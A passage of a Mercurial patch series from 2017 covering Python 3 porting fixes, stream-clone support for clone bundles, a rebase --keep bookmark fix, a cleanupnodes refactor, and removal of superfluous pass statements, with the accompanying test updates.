@@ -53,7 +53,7 @@
 testmod('mercurial.encoding')
 testmod('mercurial.formatter')
 testmod('mercurial.hg')
-testmod('mercurial.hgweb.hgwebdir_mod', py3=False)  # py3: repr(bytes) ?
+testmod('mercurial.hgweb.hgwebdir_mod')
 testmod('mercurial.match')
 testmod('mercurial.mdiff')
 testmod('mercurial.minirst')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506506903 -32400
#      Wed Sep 27 19:08:23 2017 +0900
# Node ID ee10eb6650361d20bd2cd546291d4625a43fb81a
# Parent  8cbcee0b923d78d93776eddc0740631931fb7f68
py3: replace str(None) with literal in convcmd.py

diff --git a/hgext/convert/convcmd.py b/hgext/convert/convcmd.py
--- a/hgext/convert/convcmd.py
+++ b/hgext/convert/convcmd.py
@@ -87,7 +87,7 @@
     # At some point we used "None" literal to denote the default branch,
     # attempt to use that for backward compatibility.
     if (not branch):
-        branch = branchmap.get(str(None), branch)
+        branch = branchmap.get('None', branch)
     return branch
 
 source_converters = [
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -71,7 +71,7 @@
 testmod('mercurial.url')
 testmod('mercurial.util', py3=False)  # py3: multiple bytes/unicode issues
 testmod('mercurial.util', testtarget='platform')
-testmod('hgext.convert.convcmd', py3=False)  # py3: use of str() ?
+testmod('hgext.convert.convcmd')
 testmod('hgext.convert.cvsps')
 testmod('hgext.convert.filemap')
 testmod('hgext.convert.p4')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506507088 -32400
#      Wed Sep 27 19:11:28 2017 +0900
# Node ID f435097d13c9a5f34722ba7b4ceefa511c57cb96
# Parent  ee10eb6650361d20bd2cd546291d4625a43fb81a
py3: manually escape control character to be embedded in win filename error

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1334,8 +1334,8 @@
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
-                return _("filename contains %r, which is invalid "
-                         "on Windows") % c
+                return _("filename contains '%s', which is invalid "
+                         "on Windows") % escapestr(c)
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506507223 -32400
#      Wed Sep 27 19:13:43 2017 +0900
# Node ID 7508a7dc95c1a22a882f6cd05083ca469991edc8
# Parent  f435097d13c9a5f34722ba7b4ceefa511c57cb96
py3: replace bytes[n] with slicing in checkwinfilename()

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1340,7 +1340,7 @@
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
-        t = n[-1]
+        t = n[-1:]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506508061 -32400
#      Wed Sep 27 19:27:41 2017 +0900
# Node ID b76937fafe8aad2c0e2bba23b1d129bdaa41e48e
# Parent  7508a7dc95c1a22a882f6cd05083ca469991edc8
py3: work around bytes/unicode divergence in parsedate()

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -2056,12 +2056,12 @@
     The date may be a "unixtime offset" string or in one of the specified
     formats. If the date already is a (unixtime, offset) tuple, it is returned.
 
-    >>> parsedate(b' today ') == parsedate(\
-                                  datetime.date.today().strftime('%b %d'))
+    >>> parsedate(b' today ') == parsedate(
+    ...     datetime.date.today().strftime('%b %d').encode('ascii'))
     True
-    >>> parsedate(b'yesterday ') == parsedate((datetime.date.today() -\
-                                               datetime.timedelta(days=1)\
-                                              ).strftime('%b %d'))
+    >>> parsedate(b'yesterday ') == parsedate(
+    ...     (datetime.date.today() - datetime.timedelta(days=1)
+    ...      ).strftime('%b %d').encode('ascii'))
     True
     >>> now, tz = makedate()
     >>> strnow, strtz = parsedate(b'now')
@@ -2083,10 +2083,12 @@
     if date == 'now' or date == _('now'):
         return makedate()
     if date == 'today' or date == _('today'):
-        date = datetime.date.today().strftime('%b %d')
+        date = datetime.date.today().strftime(r'%b %d')
+        date = encoding.strtolocal(date)
     elif date == 'yesterday' or date == _('yesterday'):
         date = (datetime.date.today() -
-                datetime.timedelta(days=1)).strftime('%b %d')
+                datetime.timedelta(days=1)).strftime(r'%b %d')
+        date = encoding.strtolocal(date)
 
     try:
         when, offset = map(int, date.split(' '))
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -69,7 +69,7 @@
 testmod('mercurial.templater')
 testmod('mercurial.ui')
 testmod('mercurial.url')
-testmod('mercurial.util', py3=False)  # py3: multiple bytes/unicode issues
+testmod('mercurial.util')
 testmod('mercurial.util', testtarget='platform')
 testmod('hgext.convert.convcmd')
 testmod('hgext.convert.cvsps')
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506593850 -7200
#      Thu Sep 28 12:17:30 2017 +0200
# Node ID 880e47351d1af1606916c2a89a86e8016ec28259
# Parent  b76937fafe8aad2c0e2bba23b1d129bdaa41e48e
tests: add tests for clone bundles with --uncompressed

Currently, --uncompressed will always clone from the origin server, even
if a stream clone bundle is present. Let's add tests demonstrating
this behavior.

Differential Revision: https://phab.mercurial-scm.org/D832

diff --git a/tests/test-clonebundles.t b/tests/test-clonebundles.t
--- a/tests/test-clonebundles.t
+++ b/tests/test-clonebundles.t
@@ -431,3 +431,73 @@
   finished applying clone bundle
   searching for changes
   no changes found
+
+Test interaction between clone bundles and --uncompressed
+
+A manifest with just a gzip bundle
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
+  > EOF
+
+  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip
+  streaming all changes
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  searching for changes
+  no changes found
+
+A manifest with a stream clone but no BUNDLESPEC
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/packed.hg
+  > EOF
+
+  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-no-bundlespec
+  streaming all changes
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  searching for changes
+  no changes found
+
+A manifest with a gzip bundle and a stream clone
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
+  > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1
+  > EOF
+
+  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed
+  streaming all changes
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  searching for changes
+  no changes found
+
+A manifest with a gzip bundle and stream clone with supported requirements
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
+  > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1;requirements%3Drevlogv1
+  > EOF
+
+  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed-requirements
+  streaming all changes
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  searching for changes
+  no changes found
+
+A manifest with a gzip bundle and a stream clone with unsupported requirements
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
+  > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1;requirements%3Drevlogv42
+  > EOF
+
+  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed-unsupported-requirements
+  streaming all changes
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  searching for changes
+  no changes found
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506608694 -3600
#      Thu Sep 28 15:24:54 2017 +0100
# Node ID ff406f3e57b2655bf53ac4eb5b5cf05abe0d51b6
# Parent  880e47351d1af1606916c2a89a86e8016ec28259
exchange: perform stream clone with clone bundle with --uncompressed

Previously, `hg clone --uncompressed` would always clone from the
origin server, even if a streaming clone bundle were available.

With this change, we invoke the clone bundle mechanism before the
stream clone mechanism, giving clone bundles the opportunity to
handle --uncompressed (which is mapped to pullop.streamclonepreferred).

The clone bundle filtering code now filters out entries that aren't
stream clones when a stream clone is requested. If a stream clone
clone bundle entry is present, it will be used. Otherwise, the client
will fall back to a server-based streaming clone.

.. feature::

   `hg clone --uncompressed` uses clone bundles when possible

Differential Revision: https://phab.mercurial-scm.org/D833

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1239,10 +1239,10 @@
         wlock = pullop.repo.wlock()
         lock = pullop.repo.lock()
         pullop.trmanager = transactionmanager(repo, 'pull', remote.url())
-        streamclone.maybeperformlegacystreamclone(pullop)
         # This should ideally be in _pullbundle2(). However, it needs to run
         # before discovery to avoid extra work.
         _maybeapplyclonebundle(pullop)
+        streamclone.maybeperformlegacystreamclone(pullop)
         _pulldiscovery(pullop)
         if pullop.canusebundle2:
             _pullbundle2(pullop)
@@ -1864,7 +1864,9 @@
                        'falling back to regular clone\n'))
         return
 
-    entries = filterclonebundleentries(repo, entries)
+    entries = filterclonebundleentries(
+        repo, entries, streamclonerequested=pullop.streamclonerequested)
+
     if not entries:
         # There is a thundering herd concern here. However, if a server
         # operator doesn't advertise bundles appropriate for its clients,
@@ -1933,7 +1935,7 @@
 
     return m
 
-def filterclonebundleentries(repo, entries):
+def filterclonebundleentries(repo, entries, streamclonerequested=False):
     """Remove incompatible clone bundle manifest entries.
 
     Accepts a list of entries parsed with ``parseclonebundlesmanifest``
@@ -1948,7 +1950,15 @@
         spec = entry.get('BUNDLESPEC')
         if spec:
             try:
-                parsebundlespec(repo, spec, strict=True)
+                comp, version, params = parsebundlespec(repo, spec, strict=True)
+
+                # If a stream clone was requested, filter out non-streamclone
+                # entries.
+                if streamclonerequested and (comp != 'UN' or version != 's1'):
+                    repo.ui.debug('filtering %s because not a stream clone\n' %
+                                  entry['URL'])
+                    continue
+
             except error.InvalidBundleSpecification as e:
                 repo.ui.debug(str(e) + '\n')
                 continue
@@ -1956,6 +1966,12 @@
                 repo.ui.debug('filtering %s because unsupported bundle '
                               'spec: %s\n' % (entry['URL'], str(e)))
                 continue
+        # If we don't have a spec and requested a stream clone, we don't know
+        # what the entry is so don't attempt to apply it.
+        elif streamclonerequested:
+            repo.ui.debug('filtering %s because cannot determine if a stream '
+                          'clone bundle\n' % entry['URL'])
+            continue
 
         if 'REQUIRESNI' in entry and not sslutil.hassni:
             repo.ui.debug('filtering %s because SNI not supported\n' %
diff --git a/tests/test-clonebundles.t b/tests/test-clonebundles.t
--- a/tests/test-clonebundles.t
+++ b/tests/test-clonebundles.t
@@ -441,6 +441,8 @@
   > EOF
 
   $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip
+  no compatible clone bundles available on server; falling back to regular clone
+  (you may want to report this to the server operator)
   streaming all changes
   4 files to transfer, 613 bytes of data
   transferred 613 bytes in * seconds (*) (glob)
@@ -454,6 +456,8 @@
   > EOF
 
   $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-no-bundlespec
+  no compatible clone bundles available on server; falling back to regular clone
+  (you may want to report this to the server operator)
   streaming all changes
   4 files to transfer, 613 bytes of data
   transferred 613 bytes in * seconds (*) (glob)
@@ -468,9 +472,10 @@
   > EOF
 
   $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed
-  streaming all changes
+  applying clone bundle from http://localhost:$HGPORT1/packed.hg
   4 files to transfer, 613 bytes of data
   transferred 613 bytes in * seconds (*) (glob)
+  finished applying clone bundle
   searching for changes
   no changes found
 
@@ -482,9 +487,10 @@
   > EOF
 
   $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed-requirements
-  streaming all changes
+  applying clone bundle from http://localhost:$HGPORT1/packed.hg
   4 files to transfer, 613 bytes of data
   transferred 613 bytes in * seconds (*) (glob)
+  finished applying clone bundle
   searching for changes
   no changes found
 
@@ -496,6 +502,8 @@
   > EOF
 
   $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed-unsupported-requirements
+  no compatible clone bundles available on server; falling back to regular clone
+  (you may want to report this to the server operator)
   streaming all changes
   4 files to transfer, 613 bytes of data
   transferred 613 bytes in * seconds (*) (glob)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1506762569 -3600
#      Sat Sep 30 10:09:29 2017 +0100
# Node ID cd3f39716fd3ed7bbfe623c87787ed898f577cbc
# Parent  ff406f3e57b2655bf53ac4eb5b5cf05abe0d51b6
exchange: fix test for remote support of binary phases

If the remote do not support phases, the "get" call will return None. We
change that default return to empty tuple to fix the membership testing.

This was a bug in the initial series. Thanks to yuja for catching this.

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1353,7 +1353,8 @@
 
     ui = pullop.repo.ui
     legacyphase = 'phases' in ui.configlist('devel', 'legacy.exchange')
-    if (not legacyphase and 'heads' in pullop.remotebundle2caps.get('phases')):
+    hasbinaryphase = 'heads' in pullop.remotebundle2caps.get('phases', ())
+    if (not legacyphase and hasbinaryphase):
         kwargs['phases'] = True
         pullop.stepsdone.add('phases')
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506087902 -32400
#      Fri Sep 22 22:45:02 2017 +0900
# Node ID d00910b286cdcfb171107cbfe8503ea6210d6df6
# Parent  cd3f39716fd3ed7bbfe623c87787ed898f577cbc
copytrace: use ctx.mutable() instead of adhoc constant of non-public phases

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -15,7 +15,6 @@
     match as matchmod,
     node,
     pathutil,
-    phases,
     scmutil,
     util,
 )
@@ -368,9 +367,9 @@
     if copytracing == 'off':
         return {}, {}, {}, {}, {}
     elif copytracing == 'heuristics':
-        # Do full copytracing if only drafts are involved as that will be fast
-        # enough and will also cover the copies which can be missed by
-        # heuristics
+        # Do full copytracing if only non-public revisions are involved as
+        # that will be fast enough and will also cover the copies which could
+        # be missed by heuristics
         if _isfullcopytraceable(repo, c1, base):
             return _fullcopytracing(repo, c1, c2, base)
         return _heuristicscopytracing(repo, c1, c2, base)
@@ -378,16 +377,13 @@
         return _fullcopytracing(repo, c1, c2, base)
 
 def _isfullcopytraceable(repo, c1, base):
-    """ Checks that if base, source and destination are all draft branches, if
-    yes let's use the full copytrace algorithm for increased capabilities since
-    it will be fast enough.
+    """ Checks that if base, source and destination are all no-public branches,
+    if yes let's use the full copytrace algorithm for increased capabilities
+    since it will be fast enough.
     """
     if c1.rev() is None:
         c1 = c1.p1()
-
-    nonpublicphases = set([phases.draft, phases.secret])
-
-    if (c1.phase() in nonpublicphases) and (base.phase() in nonpublicphases):
+    if c1.mutable() and base.mutable():
         sourcecommitlimit = repo.ui.configint('experimental',
                                               'copytrace.sourcecommitlimit')
         commits = len(repo.revs('%d::%d', base.rev(), c1.rev()))
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1506783168 25200
#      Sat Sep 30 07:52:48 2017 -0700
# Node ID f61f5af5ed31cbd49e7c67e7eae5864e8a0a963f
# Parent  d00910b286cdcfb171107cbfe8503ea6210d6df6
# Parent  2f427b57bf9019c6dc3750baa539dc22c1be50f6
merge with stable

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -547,12 +547,12 @@
             ui.note(_("update back to initial working directory parent\n"))
             hg.updaterepo(repo, newwd, False)
 
+        collapsedas = None
         if not self.keepf:
-            collapsedas = None
             if self.collapsef:
                 collapsedas = newnode
-            clearrebased(ui, repo, self.destmap, self.state, self.skipped,
-                         collapsedas)
+        clearrebased(ui, repo, self.destmap, self.state, self.skipped,
+                     collapsedas, self.keepf)
 
         clearstatus(repo)
         clearcollapsemsg(repo)
@@ -1516,32 +1516,31 @@
             state[rev] = rev
     return originalwd, destmap, state
 
-def clearrebased(ui, repo, destmap, state, skipped, collapsedas=None):
+def clearrebased(ui, repo, destmap, state, skipped, collapsedas=None,
+                 keepf=False):
     """dispose of rebased revision at the end of the rebase
 
     If `collapsedas` is not None, the rebase was a collapse whose result if the
-    `collapsedas` node."""
+    `collapsedas` node.
+
+    If `keepf` is not True, the rebase has --keep set and no nodes should be
+    removed (but bookmarks still need to be moved).
+    """
     tonode = repo.changelog.node
-    # Move bookmark of skipped nodes to destination. This cannot be handled
-    # by scmutil.cleanupnodes since it will treat rev as removed (no successor)
-    # and move bookmark backwards.
-    bmchanges = [(name, tonode(state[rev]))
-                 for rev in skipped
-                 for name in repo.nodebookmarks(tonode(rev))]
-    if bmchanges:
-        with repo.transaction('rebase') as tr:
-            repo._bookmarks.applychanges(repo, tr, bmchanges)
-    mapping = {}
+    replacements = {}
+    moves = {}
     for rev, newrev in sorted(state.items()):
         if newrev >= 0 and newrev != rev:
-            if rev in skipped:
-                succs = ()
-            elif collapsedas is not None:
-                succs = (collapsedas,)
-            else:
-                succs = (tonode(newrev),)
-            mapping[tonode(rev)] = succs
-    scmutil.cleanupnodes(repo, mapping, 'rebase')
+            oldnode = tonode(rev)
+            newnode = collapsedas or tonode(newrev)
+            moves[oldnode] = newnode
+            if not keepf:
+                if rev in skipped:
+                    succs = ()
+                else:
+                    succs = (newnode,)
+                replacements[oldnode] = succs
+    scmutil.cleanupnodes(repo, replacements, 'rebase', moves)
 
 def pullrebase(orig, ui, repo, *args, **opts):
     'Call rebase after pull if the latter has been invoked with --rebase'
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -594,41 +594,59 @@
     def __contains__(self, node):
         return self._revcontains(self._torev(node))
 
-def cleanupnodes(repo, mapping, operation):
+def cleanupnodes(repo, replacements, operation, moves=None):
     """do common cleanups when old nodes are replaced by new nodes
 
     That includes writing obsmarkers or stripping nodes, and moving bookmarks.
     (we might also want to move working directory parent in the future)
 
-    mapping is {oldnode: [newnode]} or a iterable of nodes if they do not have
-    replacements. operation is a string, like "rebase".
+    By default, bookmark moves are calculated automatically from 'replacements',
+    but 'moves' can be used to override that. Also, 'moves' may include
+    additional bookmark moves that should not have associated obsmarkers.
+
+    replacements is {oldnode: [newnode]} or a iterable of nodes if they do not
+    have replacements. operation is a string, like "rebase".
     """
-    if not util.safehasattr(mapping, 'items'):
-        mapping = {n: () for n in mapping}
+    if not replacements and not moves:
+        return
+
+    # translate mapping's other forms
+    if not util.safehasattr(replacements, 'items'):
+        replacements = {n: () for n in replacements}
+
+    # Calculate bookmark movements
+    if moves is None:
+        moves = {}
+    # Unfiltered repo is needed since nodes in replacements might be hidden.
+    unfi = repo.unfiltered()
+    for oldnode, newnodes in replacements.items():
+        if oldnode in moves:
+            continue
+        if len(newnodes) > 1:
+            # usually a split, take the one with biggest rev number
+            newnode = next(unfi.set('max(%ln)', newnodes)).node()
+        elif len(newnodes) == 0:
+            # move bookmark backwards
+            roots = list(unfi.set('max((::%n) - %ln)', oldnode,
+                                  list(replacements)))
+            if roots:
+                newnode = roots[0].node()
+            else:
+                newnode = nullid
+        else:
+            newnode = newnodes[0]
+        moves[oldnode] = newnode
 
     with repo.transaction('cleanup') as tr:
         # Move bookmarks
         bmarks = repo._bookmarks
         bmarkchanges = []
-        allnewnodes = [n for ns in mapping.values() for n in ns]
-        for oldnode, newnodes in mapping.items():
+        allnewnodes = [n for ns in replacements.values() for n in ns]
+        for oldnode, newnode in moves.items():
             oldbmarks = repo.nodebookmarks(oldnode)
             if not oldbmarks:
                 continue
             from . import bookmarks # avoid import cycle
-            if len(newnodes) > 1:
-                # usually a split, take the one with biggest rev number
-                newnode = next(repo.set('max(%ln)', newnodes)).node()
-            elif len(newnodes) == 0:
-                # move bookmark backwards
-                roots = list(repo.set('max((::%n) - %ln)', oldnode,
-                                      list(mapping)))
-                if roots:
-                    newnode = roots[0].node()
-                else:
-                    newnode = nullid
-            else:
-                newnode = newnodes[0]
             repo.ui.debug('moving bookmarks %r from %s to %s\n' %
                           (oldbmarks, hex(oldnode), hex(newnode)))
             # Delete divergent bookmarks being parents of related newnodes
@@ -651,18 +669,19 @@
             # Also sort the node in topology order, that might be useful for
             # some obsstore logic.
             # NOTE: the filtering and sorting might belong to createmarkers.
-            # Unfiltered repo is needed since nodes in mapping might be hidden.
-            unfi = repo.unfiltered()
             isobs = unfi.obsstore.successors.__contains__
             torev = unfi.changelog.rev
             sortfunc = lambda ns: torev(ns[0])
             rels = [(unfi[n], tuple(unfi[m] for m in s))
-                    for n, s in sorted(mapping.items(), key=sortfunc)
+                    for n, s in sorted(replacements.items(), key=sortfunc)
                     if s or not isobs(n)]
-            obsolete.createmarkers(repo, rels, operation=operation)
+            if rels:
+                obsolete.createmarkers(repo, rels, operation=operation)
         else:
             from . import repair # avoid import cycle
-            repair.delayedstrip(repo.ui, repo, list(mapping), operation)
+            tostrip = list(replacements)
+            if tostrip:
+                repair.delayedstrip(repo.ui, repo, tostrip, operation)
 
 def addremove(repo, matcher, prefix, opts=None, dry_run=None, similarity=None):
     if opts is None:
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -1488,7 +1488,7 @@
 
     def _progclear(self):
         """clear progress bar output if any. use it before any output"""
-        if '_progbar' not in vars(self): # nothing loaded yet
+        if not haveprogbar(): # nothing loaded yet
             return
         if self._progbar is not None and self._progbar.printed:
             self._progbar.clear()
@@ -1792,3 +1792,6 @@
         # this is how the extension used to work but feel free to rework it.
         _progresssingleton = progress.progbar(ui)
     return _progresssingleton
+
+def haveprogbar():
+    return _progresssingleton is not None
diff --git a/tests/test-rebase-bookmarks.t b/tests/test-rebase-bookmarks.t
--- a/tests/test-rebase-bookmarks.t
+++ b/tests/test-rebase-bookmarks.t
@@ -1,6 +1,7 @@
   $ cat >> $HGRCPATH <<EOF
   > [extensions]
   > rebase=
+  > drawdag=$TESTDIR/drawdag.py
   > 
   > [phases]
   > publish=False
@@ -210,3 +211,35 @@
   rebasing 6:f677a2907404 "bisect2"
   rebasing 7:325c16001345 "bisect3" (bisect tip)
   saved backup bundle to $TESTTMP/a3/.hg/strip-backup/345c90f326a4-b4840586-rebase.hg (glob)
+
+Bookmark and working parent get moved even if --keep is set (issue5682)
+
+  $ hg init $TESTTMP/book-keep
+  $ cd $TESTTMP/book-keep
+  $ hg debugdrawdag <<'EOS'
+  > B C
+  > |/
+  > A
+  > EOS
+  $ eval `hg tags -T 'hg bookmark -ir {node} {tag};\n' | grep -v tip`
+  $ rm .hg/localtags
+  $ hg up -q B
+  $ hg tglog
+  o  2: 'C' bookmarks: C
+  |
+  | @  1: 'B' bookmarks: B
+  |/
+  o  0: 'A' bookmarks: A
+  
+  $ hg rebase -r B -d C --keep
+  rebasing 1:112478962961 "B" (B)
+  $ hg tglog
+  @  3: 'B' bookmarks: B
+  |
+  o  2: 'C' bookmarks: C
+  |
+  | o  1: 'B' bookmarks:
+  |/
+  o  0: 'A' bookmarks: A
+  
+
diff --git a/tests/test-rebase-emptycommit.t b/tests/test-rebase-emptycommit.t
--- a/tests/test-rebase-emptycommit.t
+++ b/tests/test-rebase-emptycommit.t
@@ -47,7 +47,7 @@
   |/
   o  0 A
   
-With --keep, bookmark should not move
+With --keep, bookmark should move
 
   $ hg rebase -r 3+4 -d E --keep
   rebasing 3:e7b3f00ed42e "D" (BOOK-D)
@@ -55,15 +55,15 @@
   rebasing 4:69a34c08022a "E" (BOOK-E)
   note: rebase of 4:69a34c08022a created no changes to commit
   $ hg log -G -T '{rev} {desc} {bookmarks}'
-  o  7 E
+  o  7 E BOOK-D BOOK-E
   |
   o  6 D
   |
   | o  5 F BOOK-F
   | |
-  | o  4 E BOOK-E
+  | o  4 E
   | |
-  | o  3 D BOOK-D
+  | o  3 D
   | |
   | o  2 C BOOK-C
   | |
@@ -71,6 +71,11 @@
   |/
   o  0 A
   
+Move D and E back for the next test
+
+  $ hg bookmark BOOK-D -fqir 3
+  $ hg bookmark BOOK-E -fqir 4
+
 Bookmark is usually an indication of a head. For changes that are introduced by
 an ancestor of bookmark B, after moving B to B-NEW, the changes are ideally
 still introduced by an ancestor of changeset on B-NEW. In the below case,
diff --git a/tests/test-subrepo-deep-nested-change.t b/tests/test-subrepo-deep-nested-change.t
--- a/tests/test-subrepo-deep-nested-change.t
+++ b/tests/test-subrepo-deep-nested-change.t
@@ -63,6 +63,14 @@
                                                               \r (no-eol) (esc)
   \r (no-eol) (esc)
   updating [===========================================>] 3/3\r (no-eol) (esc)
+                                                              \r (no-eol) (esc)
+  \r (no-eol) (esc)
+  linking [ <=>                                           ] 1\r (no-eol) (esc)
+  linking [  <=>                                          ] 2\r (no-eol) (esc)
+  linking [   <=>                                         ] 3\r (no-eol) (esc)
+  linking [    <=>                                        ] 4\r (no-eol) (esc)
+  linking [     <=>                                       ] 5\r (no-eol) (esc)
+  linking [      <=>                                      ] 6\r (no-eol) (esc)
   updating [===========================================>] 1/1\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
   updating to branch default
@@ -154,7 +162,25 @@
                                                               \r (no-eol) (esc)
   \r (no-eol) (esc)
   updating [===========================================>] 3/3\r (no-eol) (esc)
+                                                              \r (no-eol) (esc)
+  \r (no-eol) (esc)
+  linking [ <=>                                           ] 1\r (no-eol) (esc)
+  linking [  <=>                                          ] 2\r (no-eol) (esc)
+  linking [   <=>                                         ] 3\r (no-eol) (esc)
+  linking [    <=>                                        ] 4\r (no-eol) (esc)
+  linking [     <=>                                       ] 5\r (no-eol) (esc)
+  linking [      <=>                                      ] 6\r (no-eol) (esc)
+  linking [       <=>                                     ] 7\r (no-eol) (esc)
+  linking [        <=>                                    ] 8\r (no-eol) (esc)
   updating [===========================================>] 3/3\r (no-eol) (esc)
+                                                              \r (no-eol) (esc)
+  \r (no-eol) (esc)
+  linking [         <=>                                   ] 1\r (no-eol) (esc)
+  linking [          <=>                                  ] 2\r (no-eol) (esc)
+  linking [           <=>                                 ] 3\r (no-eol) (esc)
+  linking [            <=>                                ] 4\r (no-eol) (esc)
+  linking [             <=>                               ] 5\r (no-eol) (esc)
+  linking [              <=>                              ] 6\r (no-eol) (esc)
   updating [===========================================>] 1/1\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
   updating to branch default
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506700526 14400
#      Fri Sep 29 11:55:26 2017 -0400
# Node ID 00cf44b7baa9733be5e8c5397948bd4640bbdd0d
# Parent  f61f5af5ed31cbd49e7c67e7eae5864e8a0a963f
bugzilla: remove superfluous pass statements

diff --git a/hgext/bugzilla.py b/hgext/bugzilla.py
--- a/hgext/bugzilla.py
+++ b/hgext/bugzilla.py
@@ -412,11 +412,9 @@
 
     def filter_real_bug_ids(self, bugs):
         '''remove bug IDs that do not exist in Bugzilla from bugs.'''
-        pass
 
     def filter_cset_known_bug_ids(self, node, bugs):
         '''remove bug IDs where node occurs in comment text from bugs.'''
-        pass
 
     def updatebug(self, bugid, newstate, text, committer):
         '''update the specified bug. Add comment text and set new states.
@@ -424,7 +422,6 @@
         If possible add the comment as being from the committer of
         the changeset. Otherwise use the default Bugzilla user.
         '''
-        pass
 
     def notify(self, bugs, committer):
         '''Force sending of Bugzilla notification emails.
@@ -432,7 +429,6 @@
         Only required if the access method does not trigger notification
         emails automatically.
         '''
-        pass
 
 # Bugzilla via direct access to MySQL database.
 class bzmysql(bzaccess):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771767 14400
#      Sat Sep 30 07:42:47 2017 -0400
# Node ID 5adbd3806ef757228c2ae9dc3cf59a1c5450db1e
# Parent  00cf44b7baa9733be5e8c5397948bd4640bbdd0d
convert: remove superfluous pass statements

diff --git a/hgext/convert/common.py b/hgext/convert/common.py
--- a/hgext/convert/common.py
+++ b/hgext/convert/common.py
@@ -105,7 +105,6 @@
 
     def setrevmap(self, revmap):
         """set the map of already-converted revisions"""
-        pass
 
     def getheads(self):
         """Return a list of this repository's heads"""
@@ -182,7 +181,6 @@
 
     def converted(self, rev, sinkrev):
         '''Notify the source that a revision has been converted.'''
-        pass
 
     def hasnativeorder(self):
         """Return true if this source has a meaningful, native revision
@@ -276,7 +274,6 @@
         on the branch.
         branch: branch name for subsequent commits
         pbranches: (converted parent revision, parent branch) tuples"""
-        pass
 
     def setfilemapmode(self, active):
         """Tell the destination that we're using a filemap
@@ -286,7 +283,6 @@
         tells the destination that we're using a filemap and that it should
         filter empty revisions.
         """
-        pass
 
     def before(self):
         pass
@@ -300,7 +296,6 @@
         bookmarks: {bookmarkname: sink_rev_id, ...}
         where bookmarkname is an UTF-8 string.
         """
-        pass
 
     def hascommitfrommap(self, rev):
         """Return False if a rev mentioned in a filemap is known to not be
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506771779 14400
#      Sat Sep 30 07:42:59 2017 -0400
# Node ID d0db41af73c08bb55c7d6bb487bc94d6ae89c635
# Parent  5adbd3806ef757228c2ae9dc3cf59a1c5450db1e
branchmap: remove superfluous pass statements

